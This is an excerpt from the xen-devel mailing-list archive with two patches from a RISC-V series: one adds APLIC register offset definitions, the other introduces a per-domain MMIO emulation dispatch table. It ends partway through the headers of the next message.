Received: from list by lists.xenproject.org with outflank-mailman.1367142.1616967 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqRu-0007sF-GY; Mon, 20 Jul 2026 16:02:34 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1367142.1616967; Mon, 20 Jul 2026 16:02:34 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqRu-0007ru-AF; Mon, 20 Jul 2026 16:02:34 +0000
Received: by outflank-mailman (input) for mailman id 1367142;
 Mon, 20 Jul 2026 16:02:33 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wlqRt-0007m7-7Y
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 16:02:33 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlqRs-001mtW-Kj
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 18:02:32 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a5e4690-2eae-0a2a0a5409dd-0a2a4502999c-12
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 18:02:32 +0200
Received: from [209.85.128.52] (helo=mail-wm1-f52.google.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a5e4698-6ca4-0a2a45020019-d1558034c1fa-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 18:02:32 +0200
Received: by mail-wm1-f52.google.com with SMTP id
 5b1f17b1804b1-4954aff6088so20295395e9.3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 09:02:32 -0700 (PDT)
Received: from fedora (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-49563eee22esm31331765e9.1.2026.07.20.09.02.30
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 20 Jul 2026 09:02:30 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1784563352; x=1785168152; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=A6F9yb8UBT35/tqzXm+AhbL5wSjaP+QCKMU+T8wtsuc=;
        b=sJiN9+FiVPf58Ap0wISDMP8veZJQEv935yly0JpoCNPI1D4amWYuxXY1ox4p1fcbpb
         OZpVPL1fD6K9GtS6uYC2w40M0aaVG83MqceNoRoTaFDeO12PFHzs7MYoKypcr+qPUb2h
         hLsLsni8eO3jisNikUQIyaLvpj5/yg0ix3kl03hWAz6xbMSQ0Vi7fwJrZwLdQ7AiFROz
         9YWPtX7p6n+gDQYedkMiApRQBQ9oqtbl3yX6GpKXecJZRkP7dNCfjB1mQC5I5yLsqp7e
         h/wZ4NrrIyBe/smoSjz3A+3qJGQaJ1X16JhhHTbg7XElP9D+MfausiZ7feIoVnxtF17t
         rdbw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784563352; x=1785168152;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:x-gm-gg:x-gm-message-state:from
         :to:cc:subject:date:message-id:reply-to:content-type;
        bh=A6F9yb8UBT35/tqzXm+AhbL5wSjaP+QCKMU+T8wtsuc=;
        b=phc1aVnYjP5s9VLKJ/KL/KMwhF7gSQvnYr2Kk+LWaIX4i5EHA2N2gnaXazb2zUi/Wt
         xEHodbtKv9/SkPoSv49vs1ZB6yUsoJsUkpYl1C65wm4OSo2oyrwFvt0ozHzkQJPc87ZI
         TOln8UYTLrGkn5mvgYqojqRQHwjEEPGbj0/N5d6zcF3FzQEIGpLRwA53cV4TajPOdw2m
         sDUciMlT3S0VznsBIEPv0veMfD4e7BgdxLYsWUEn9R3xLcc9phIMJUZWvSmgquu24R47
         nm8Gt+M+ZnsaEnSXZ1w2+66+jf+qWvCwQP/FNxiAJAO0MrEDwHS/ejTM9hPYaWofpn/8
         5l/g==
X-Gm-Message-State: AOJu0YyAoEB6Kr06pKwiZtWg9ZG6/pPC3AnYV87aiK8mWxAYQtc3faWW
	5Do+S37Vy6MNas/72vsQbIUaJMMHijQMt62nsoaHZLSwBW4Gw7LCOSdiabpPmQ==
X-Gm-Gg: AfdE7cmtpAYwPwcjrcLJFLhAXvu6PDfK+r1jQaGMD3+Ug29Nuxfe/6pljrdzxm4Ff3s
	0ELAMr0mVsQWXwjY7Nlch184MlNJ+rWCwOBlA48gtcagoWhfIGunS73RmOk/H2sLbdnyDEhE+Ae
	k0YJ6PHVLChKrBTHKw2bEnZ0b47tXjrZsieWoi1OoLJUhGygm5yj0y35rwjglzvy1XnFujCgMCf
	Xn+ULYtOe7wrjjHl6irCNY8BhQPcureLVpghVpNoSlpI1rer4quis7TofqgiYEdJl0IVyUL99+m
	YWm2NZfNiu2DYE72Mvgg+ZNMh9UlJR9NdHbmzCD5jXI7o0BqEnKRm6J8+oTY+4icci17nhnIaGT
	RGNvHKGAizLF8mQKLgkcMYCvHcPla/6TR5wvSALLw/5uhzFmDD1zGUPyt60FGWmhmwDS2ZDcfae
	YAPmziiofcdYPP3hGnoAmmd+gyZChI0dg2QAdwqaBMEie1bHY=
X-Received: by 2002:a05:600c:198b:b0:495:5044:d37d with SMTP id 5b1f17b1804b1-4955044d4e8mr116785745e9.19.1784563351799;
        Mon, 20 Jul 2026 09:02:31 -0700 (PDT)
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
To: xen-devel@lists.xenproject.org
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
	Baptiste Le Duc <baptiste.le-duc@vates.tech>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Alistair Francis <alistair.francis@wdc.com>,
	Connor Davis <connojdavis@gmail.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Stefano Stabellini <sstabellini@kernel.org>
Subject: [PATCH v1 03/17] xen/riscv: add missing APLIC register offsets, masks to asm/aplic.h
Date: Mon, 20 Jul 2026 18:02:01 +0200
Message-ID: <ee3825adfd0012437a594f6a0e51c6ee71175cc4.1784560663.git.oleksii.kurochko@gmail.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <cover.1784560663.git.oleksii.kurochko@gmail.com>
References: <cover.1784560663.git.oleksii.kurochko@gmail.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-720697/1784563352-F32B12AC-872315EA/10/73395122804
X-purgate-type: spam
X-purgate-size: 2760

These definitions are required for correct decoding of APLIC MMIO
accesses and target configuration, and will be used by both the
physical and virtual APLIC implementations.

No functional change is intended by this patch; it only centralises
hardware definitions that were previously missing.

Co-developed-by: Romain Caritey <Romain.Caritey@microchip.com>
Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
---
Changes in v3:
 - Drop APLIC_TARGET_IPRIO_MASK and APLIC_TARGET_GUEST_IDX_SHIFT (unused).
 - Add comments to each register field group (domaincfg, sourcecfg, target).
 - Group APLIC_TARGET_HART_IDX_SHIFT and APLIC_TARGET_EIID_MASK together
   under /* target register fields */ at the top of the field definitions.
---
Changes in v2:
 - new patch
---
---
 xen/arch/riscv/include/asm/aplic.h | 35 ++++++++++++++++++++++++++++++
 1 file changed, 35 insertions(+)

diff --git a/xen/arch/riscv/include/asm/aplic.h b/xen/arch/riscv/include/asm/aplic.h
index 07318aaac25d..f22622b9a23f 100644
--- a/xen/arch/riscv/include/asm/aplic.h
+++ b/xen/arch/riscv/include/asm/aplic.h
@@ -15,6 +15,8 @@
 
 #include <asm/imsic.h>
 
+#define APLIC_REG_OFFSET_MASK   0x3fff
+
 /*
  * domaincfg read-only fields (AIA spec):
  *  - bits [31:24] -> read-only 0x80
@@ -25,6 +27,7 @@
 #define APLIC_DOMAINCFG_DM      BIT(2, U)
 #define APLIC_DOMAINCFG_BE      BIT(0, U)
 
+/* sourcecfg register fields */
 #define APLIC_SOURCECFG_SM_INACTIVE     0x0
 #define APLIC_SOURCECFG_SM_DETACH       0x1
 #define APLIC_SOURCECFG_SM_EDGE_RISE    0x4
@@ -32,7 +35,39 @@
 #define APLIC_SOURCECFG_SM_LEVEL_HIGH   0x6
 #define APLIC_SOURCECFG_SM_LEVEL_LOW    0x7
 
+/* target register fields */
 #define APLIC_TARGET_HART_IDX_SHIFT 18
+#define APLIC_TARGET_EIID_MASK      0x7ff
+
+#define APLIC_DOMAINCFG         0x0000
+#define APLIC_SOURCECFG_BASE    0x0004
+#define APLIC_SOURCECFG_LAST    0x0ffc
+
+#define APLIC_SMSICFGADDR       0x1bc8
+#define APLIC_SMSICFGADDRH      0x1bcc
+
+#define APLIC_SETIP_BASE        0x1c00
+#define APLIC_SETIP_LAST        0x1c7c
+#define APLIC_SETIPNUM          0x1cdc
+
+#define APLIC_CLRIP_BASE        0x1d00
+#define APLIC_CLRIP_LAST        0x1d7c
+#define APLIC_CLRIPNUM          0x1ddc
+
+#define APLIC_SETIE_BASE        0x1e00
+#define APLIC_SETIE_LAST        0x1e7c
+#define APLIC_SETIENUM          0x1edc
+
+#define APLIC_CLRIE_BASE        0x1f00
+#define APLIC_CLRIE_LAST        0x1f7c
+#define APLIC_CLRIENUM          0x1fdc
+
+#define APLIC_SETIPNUM_LE       0x2000
+
+#define APLIC_GENMSI            0x3000
+
+#define APLIC_TARGET_BASE       0x3004
+#define APLIC_TARGET_LAST       0x3ffc
 
 #define APLIC_IDC_SIZE          32
 
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 20 16:02:36 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 16:02:36 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1367144.1616980 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqRw-0008I8-00; Mon, 20 Jul 2026 16:02:36 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1367144.1616980; Mon, 20 Jul 2026 16:02:35 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqRv-0008HB-RV; Mon, 20 Jul 2026 16:02:35 +0000
Received: by outflank-mailman (input) for mailman id 1367144;
 Mon, 20 Jul 2026 16:02:34 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wlqRu-0007uP-Q1
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 16:02:34 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlqRu-00HTXg-6e
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 18:02:34 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a5e4688-bab6-0a2a0a5309dd-0a2a45019a96-24
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 18:02:34 +0200
Received: from [209.85.128.52] (helo=mail-wm1-f52.google.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a5e469a-5984-0a2a45010019-d1558034c4fc-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 18:02:34 +0200
Received: by mail-wm1-f52.google.com with SMTP id
 5b1f17b1804b1-4954df200ddso17326535e9.0
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 09:02:34 -0700 (PDT)
Received: from fedora (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-49563eee22esm31331765e9.1.2026.07.20.09.02.31
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 20 Jul 2026 09:02:32 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1784563354; x=1785168154; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=2GtGX4lSvWuVxHxTWIzl2qVUw75GgyetUNG8vpXRat0=;
        b=FwLgMuTATHeUZ6OD+31cbou8UfUGjpP/pWudRvZX94Wkm5YClwgxFSVO31yG5Jidl9
         ++cVq5IK3yNrcquTxVj7f+fVqxa+dCYX0eFqeUTocXrTB8yngZe0f6hKpNet8zomJhpG
         5zawLFT1UnnyuG+DtXGv3/X/gxyYj/p/EVFw2xASC759wvntEXbOrmeQKEsM0Ew22aGC
         fTUOwto6vicEEDefx+FU9kn0UOc+AC2CRDao2Hagu6tv50QBeP0OqTNRyqo3b5XsgwM1
         VWmmKrCmvgFJtUmlJ0AJXpv0w2xk/2k+aWn/y7pH5RMGEayT0hQr5YRPwAI3fEegt/8t
         hpSQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784563354; x=1785168154;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:x-gm-gg:x-gm-message-state:from
         :to:cc:subject:date:message-id:reply-to:content-type;
        bh=2GtGX4lSvWuVxHxTWIzl2qVUw75GgyetUNG8vpXRat0=;
        b=IiNMS9hZBjtfmNBxPqt0K1M2tXtBsiz2gUPuZNInL+6xHikhkTp4UMI5fq4vlpi32P
         9Nua8JLEX8aIOwsFyHqiuaAACaQquL/pVo/PgI86Az0fpDRgqOTliPEdintOIfpG1Jti
         +XBqZngn/FKi4x1W6NXTNjIiBsCscyOr7HWCM2PDJIFYAR4Dgchoe6cz1MacHiLmDJq6
         pkBjJ5JEs2YZgFVxbul7dl0RlJhZqoP5i3JmxMHcMs/fQHbW8564LGhEUDrIcRoso8wf
         hpXB09GKexU9/e4/DMjpB14lDFlMNvQRTDdcxXyOJjZPitAT+Cc/UNflMNHMGt/XWROS
         jZFA==
X-Gm-Message-State: AOJu0Ywzfh05Cgwyytw0GpL4J7YDHqoUaXMuMrKzfcl+x/HdOytH8bNs
	tKqPBCH5Gg2zQq5dMkVa88TcbVDf78zepoanK48/tG8WTmEK7IXaZiQnmcPO4A==
X-Gm-Gg: AfdE7cm6kx0A7q+LYJX+VShB69s936Fyy0NvsZ6Zd2m/gco+AcQabNlcY1V0bKODoTj
	XeB06TNo5AJf7yu/PiNlrIcRK0mgl08beR9WLRb+6NZj5/inO9QneOeoE05GL+hqvmvDqXBNsFH
	HxoA9KkOmsXQ+VZOj0jwu31iKWwNgSy6xVyto7nWrld2BYtOC/DB3y5LY/fTMbMvIPye82j3cno
	e6LlD1Fvnh5tByNX+uRM5gjRb6WYdAtQSuVINHKFJh/PHYb6dgQ+Zd8/OZH8t8bvqst9gFVP2y6
	fAf+Xr6A2Afu0otC29vOEGkVLaye3B4kWV/ogXPjs0yoCN9zRgWKf3g4C8p4m3tko383+hfZGY0
	SdAWg0fcoF6XAaYm9Wxdys2Fpf0XPqVwYC9X6t8DacDyGVSELRX1s8699Ss78a3X53XrR1FwuCc
	hrmSR0Th3pnUd2+rqI5p7lt3DjK273FGVWuGXGXVSrdid5Ebk=
X-Received: by 2002:a05:600c:4fc9:b0:493:e974:41ac with SMTP id 5b1f17b1804b1-4954a3f3b28mr171637645e9.16.1784563353289;
        Mon, 20 Jul 2026 09:02:33 -0700 (PDT)
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
To: xen-devel@lists.xenproject.org
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
	Baptiste Le Duc <baptiste.le-duc@vates.tech>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Alistair Francis <alistair.francis@wdc.com>,
	Connor Davis <connojdavis@gmail.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Stefano Stabellini <sstabellini@kernel.org>
Subject: [PATCH v1 04/17] xen/riscv: introduce device-agnostic MMIO emulation dispatch
Date: Mon, 20 Jul 2026 18:02:02 +0200
Message-ID: <c12b69710d7b79bfc0c110f3fa043d871d8b8394.1784560663.git.oleksii.kurochko@gmail.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <cover.1784560663.git.oleksii.kurochko@gmail.com>
References: <cover.1784560663.git.oleksii.kurochko@gmail.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-d62444/1784563354-1EE60757-489F366A/10/73395122804
X-purgate-type: spam
X-purgate-size: 9383

RISC-V guests can expose several virtual interrupt controllers at
distinct GPA ranges: vPLIC (hasn't been introduced yet) for legacy machines,
vAPLIC and vIMSIC for AIA-compliant ones (is being introduced in the follow
up patches). Routing MMIO faults via a per-device is_access() check in the
trap handler would couple it to every device it must serve, requiring a
new conditional branch in the fault path each time a new emulated device is
added.

Introduce a per-domain MMIO handler registration table, modeled
after the equivalent ARM framework, so that virtual devices
self-register their GPA ranges and read/write callbacks at domain
creation time. The MMIO fault path delegates to a single
try_handle_mmio() entry point and remains agnostic of which device
owns a particular address.

Subsequent patches wire this into arch_domain_create() and the MMIO fault
path in traps.c.

Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
Reviewed-by: Baptiste Le Duc <baptiste.le-duc@vates.tech>
---
Note that find_mmio_handler() and try_handle_mmio() is handling found
handler differently for now in comparison to Arm. But this behaviour will
be aligned at the end. Look at discussion:
  https://lore.kernel.org/xen-devel/cd78972e-88d5-471d-a201-5f9cd1392c73@gmail.com/T/#t
---
---
 xen/arch/riscv/Makefile             |   1 +
 xen/arch/riscv/domain.c             |   4 +
 xen/arch/riscv/include/asm/domain.h |   3 +
 xen/arch/riscv/include/asm/mmio.h   |  63 ++++++++++++
 xen/arch/riscv/mmio.c               | 145 ++++++++++++++++++++++++++++
 5 files changed, 216 insertions(+)
 create mode 100644 xen/arch/riscv/include/asm/mmio.h
 create mode 100644 xen/arch/riscv/mmio.c

diff --git a/xen/arch/riscv/Makefile b/xen/arch/riscv/Makefile
index 046f73f4d87c..c452ebc3cf61 100644
--- a/xen/arch/riscv/Makefile
+++ b/xen/arch/riscv/Makefile
@@ -14,6 +14,7 @@ obj-y += intc.o
 obj-y += irq.o
 obj-y += kernel.init.o
 obj-y += mm.o
+obj-y += mmio.o
 obj-y += p2m.o
 obj-y += paging.o
 obj-y += pt.o
diff --git a/xen/arch/riscv/domain.c b/xen/arch/riscv/domain.c
index 4db9c28662c7..1e6f0ef66c2f 100644
--- a/xen/arch/riscv/domain.c
+++ b/xen/arch/riscv/domain.c
@@ -12,6 +12,7 @@
 #include <asm/cpufeature.h>
 #include <asm/csr.h>
 #include <asm/intc.h>
+#include <asm/mmio.h>
 #include <asm/riscv_encoding.h>
 #include <asm/vtimer.h>
 
@@ -308,6 +309,9 @@ int arch_domain_create(struct domain *d,
     if ( (rc = p2m_init(d, config)) != 0)
         goto fail;
 
+    if ( (rc = domain_io_init(d, MAX_IO_HANDLER)) != 0 )
+        goto fail;
+
     if ( (rc = domain_vintc_init(d)) )
         goto fail;
 
diff --git a/xen/arch/riscv/include/asm/domain.h b/xen/arch/riscv/include/asm/domain.h
index e035b33ddfdc..15e8fa19685e 100644
--- a/xen/arch/riscv/include/asm/domain.h
+++ b/xen/arch/riscv/include/asm/domain.h
@@ -9,6 +9,7 @@
 
 #include <asm/cpufeature.h>
 #include <asm/guest-layout.h>
+#include <asm/mmio.h>
 #include <asm/p2m.h>
 #include <asm/vtimer.h>
 
@@ -101,6 +102,8 @@ struct arch_domain {
     const unsigned long *isa;
 
     struct vintc *vintc;
+
+    struct vmmio vmmio;
 };
 
 #include <xen/sched.h>
diff --git a/xen/arch/riscv/include/asm/mmio.h b/xen/arch/riscv/include/asm/mmio.h
new file mode 100644
index 000000000000..18df1133e621
--- /dev/null
+++ b/xen/arch/riscv/include/asm/mmio.h
@@ -0,0 +1,63 @@
+/* SPDX-License-Identifier: GPL-2.0-or-later */
+#ifndef RISCV_MMIO_H
+#define RISCV_MMIO_H
+
+#include <xen/lib.h>
+#include <xen/rwlock.h>
+
+#define MAX_IO_HANDLER  16
+
+typedef struct {
+    paddr_t gpa;
+    unsigned int len;  /* access width in bytes (1, 2, 4, 8) */
+    bool is_write;
+    register_t data;   /* store: value to write; load: value read (set by handler) */
+} mmio_info_t;
+
+enum io_state
+{
+    IO_ABORT,       /* The IO was handled and led to an abort. */
+    IO_HANDLED,     /* The IO was successfully handled. */
+    IO_UNHANDLED,   /* No handler found for the IO. */
+};
+
+typedef enum io_state (*mmio_read_t)(struct vcpu *v, mmio_info_t *info,
+                                     register_t *r);
+typedef enum io_state (*mmio_write_t)(struct vcpu *v, mmio_info_t *info,
+                                      register_t r);
+
+struct mmio_handler_ops {
+    mmio_read_t read;
+    mmio_write_t write;
+};
+
+struct mmio_handler {
+    paddr_t addr;
+    paddr_t size;
+    const struct mmio_handler_ops *ops;
+};
+
+struct vmmio {
+    unsigned int num_entries;
+    unsigned int max_num_entries;
+    rwlock_t lock;
+    struct mmio_handler *handlers;
+};
+
+enum io_state try_handle_mmio(mmio_info_t *info);
+void register_mmio_handler(struct domain *d,
+                           const struct mmio_handler_ops *ops,
+                           paddr_t addr, paddr_t size);
+int domain_io_init(struct domain *d, unsigned int max_count);
+void domain_io_free(struct domain *d);
+
+#endif /* RISCV_MMIO_H */
+
+/*
+ * Local variables:
+ * mode: C
+ * c-file-style: "BSD"
+ * c-basic-offset: 4
+ * indent-tabs-mode: nil
+ * End:
+ */
diff --git a/xen/arch/riscv/mmio.c b/xen/arch/riscv/mmio.c
new file mode 100644
index 000000000000..7d56bc8b27c5
--- /dev/null
+++ b/xen/arch/riscv/mmio.c
@@ -0,0 +1,145 @@
+/* SPDX-License-Identifier: GPL-2.0-or-later */
+/*
+ * Copyright (C) Vates
+ */
+
+#include <xen/bsearch.h>
+#include <xen/lib.h>
+#include <xen/rwlock.h>
+#include <xen/sched.h>
+#include <xen/sort.h>
+#include <xen/xvmalloc.h>
+
+#include <asm/current.h>
+#include <asm/mmio.h>
+
+static enum io_state handle_read(const struct mmio_handler *handler,
+                                 struct vcpu *v,
+                                 mmio_info_t *info)
+{
+    register_t r = 0;
+    enum io_state rc;
+
+    rc = handler->ops->read(v, info, &r);
+    if ( rc == IO_HANDLED )
+        info->data = r;
+
+    return rc;
+}
+
+static enum io_state handle_write(const struct mmio_handler *handler,
+                                  struct vcpu *v,
+                                  mmio_info_t *info)
+{
+    return handler->ops->write(v, info, info->data);
+}
+
+/* Assumes mmio regions are not overlapping. */
+static int cmp_mmio_handler(const void *key, const void *elem)
+{
+    const struct mmio_handler *handler0 = key;
+    const struct mmio_handler *handler1 = elem;
+
+    if ( handler0->addr < handler1->addr )
+        return -1;
+
+    if ( handler0->addr >= (handler1->addr + handler1->size) )
+        return 1;
+
+    return 0;
+}
+
+static void swap_mmio_handler(void *a, void *b)
+{
+    struct mmio_handler *t1 = a, *t2 = b;
+
+    SWAP(*t1, *t2);
+}
+
+/*
+ * Return a copy of the matching handler rather than a pointer into
+ * vmmio->handlers: a concurrent register_mmio_handler() re-sorts the
+ * array, so an escaped pointer could refer to a different (or torn)
+ * entry once the lock is dropped.  The copy stays valid as the ops
+ * structures are never freed.
+ */
+static bool find_mmio_handler(struct domain *d, paddr_t gpa,
+                              struct mmio_handler *out)
+{
+    struct vmmio *vmmio = &d->arch.vmmio;
+    struct mmio_handler key = { .addr = gpa };
+    const struct mmio_handler *handler;
+
+    read_lock(&vmmio->lock);
+    handler = bsearch(&key, vmmio->handlers, vmmio->num_entries,
+                      sizeof(*handler), cmp_mmio_handler);
+    if ( handler )
+        *out = *handler;
+    read_unlock(&vmmio->lock);
+
+    return handler != NULL;
+}
+
+enum io_state try_handle_mmio(mmio_info_t *info)
+{
+    struct vcpu *v = current;
+    struct mmio_handler handler = {};
+
+    if ( !find_mmio_handler(v->domain, info->gpa, &handler) )
+        return IO_UNHANDLED;
+
+    if ( info->is_write )
+        return handle_write(&handler, v, info);
+    else
+        return handle_read(&handler, v, info);
+}
+
+void register_mmio_handler(struct domain *d,
+                           const struct mmio_handler_ops *ops,
+                           paddr_t addr, paddr_t size)
+{
+    struct vmmio *vmmio = &d->arch.vmmio;
+    struct mmio_handler *handler;
+
+    write_lock(&vmmio->lock);
+
+    BUG_ON(vmmio->num_entries >= vmmio->max_num_entries);
+
+    handler = &vmmio->handlers[vmmio->num_entries];
+    handler->ops = ops;
+    handler->addr = addr;
+    handler->size = size;
+    vmmio->num_entries++;
+
+    /* Sort mmio handlers in ascending order based on base address */
+    sort(vmmio->handlers, vmmio->num_entries, sizeof(struct mmio_handler),
+         cmp_mmio_handler, swap_mmio_handler);
+
+    write_unlock(&vmmio->lock);
+}
+
+int domain_io_init(struct domain *d, unsigned int max_count)
+{
+    rwlock_init(&d->arch.vmmio.lock);
+    d->arch.vmmio.num_entries = 0;
+    d->arch.vmmio.max_num_entries = max_count;
+    d->arch.vmmio.handlers = xvzalloc_array(struct mmio_handler, max_count);
+    if ( !d->arch.vmmio.handlers )
+        return -ENOMEM;
+
+    return 0;
+}
+
+void domain_io_free(struct domain *d)
+{
+    XVFREE(d->arch.vmmio.handlers);
+}
+
+/*
+ * Local variables:
+ * mode: C
+ * c-file-style: "BSD"
+ * c-basic-offset: 4
+ * indent-tabs-mode: nil
+ * End:
+ */
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 20 16:02:39 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 16:02:39 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1367147.1616990 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqRz-0000Fx-Ah; Mon, 20 Jul 2026 16:02:39 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1367147.1616990; Mon, 20 Jul 2026 16:02:39 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqRz-0000Fh-61; Mon, 20 Jul 2026 16:02:39 +0000
Received: by outflank-mailman (input) for mailman id 1367147;
 Mon, 20 Jul 2026 16:02:37 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wlqRx-00007U-EK
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 16:02:37 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlqRw-001mtW-R3
